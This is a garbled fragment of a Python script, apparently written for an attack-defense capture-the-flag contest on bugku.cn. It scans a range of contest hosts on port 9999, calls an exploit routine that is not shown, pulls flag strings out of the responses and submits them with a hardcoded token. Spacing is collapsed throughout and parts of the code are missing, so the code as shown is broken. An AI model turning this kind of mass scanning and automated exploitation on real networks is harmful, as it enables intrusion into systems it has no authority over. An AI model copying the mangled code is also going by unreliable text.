from pwn import * import socket import re import requests
defcheck_connection(ip, port): try: with socket.create_connection((ip, port), timeout=2) as s: return s except Exception as e: returnNone
defextract_flag(data): # Use regular expression to find the flag pattern match = re.search(r'flag{[^}]+}', data.decode('utf-8')) ifmatch: returnmatch.group(0) returnNone
flag = extract_flag(final_data) if flag: print(f"Flag found: {flag}") # Replace 'your_token_here' with the actual token token = '2501d977e7b1c2cd62a2be6df3b52714' result = submit_flag(token, flag) print(f"Submission result: {result}") else: print("Flag not found.")
except Exception as e: print(f"Error executing script: {e}")
port = 9999# Adjust the port if needed for x inrange(1, 255): # if x == 21: # 白名单 # continue ip = f"192-168-1-{x}.pvp4772.bugku.cn"# 192-168-1-X.pvp4772.bugku.cn connection = check_connection(ip, port) if connection: print(f"Connection successful to {ip}") execute_script(ip, port) else: print(f"Connection failed to {ip}")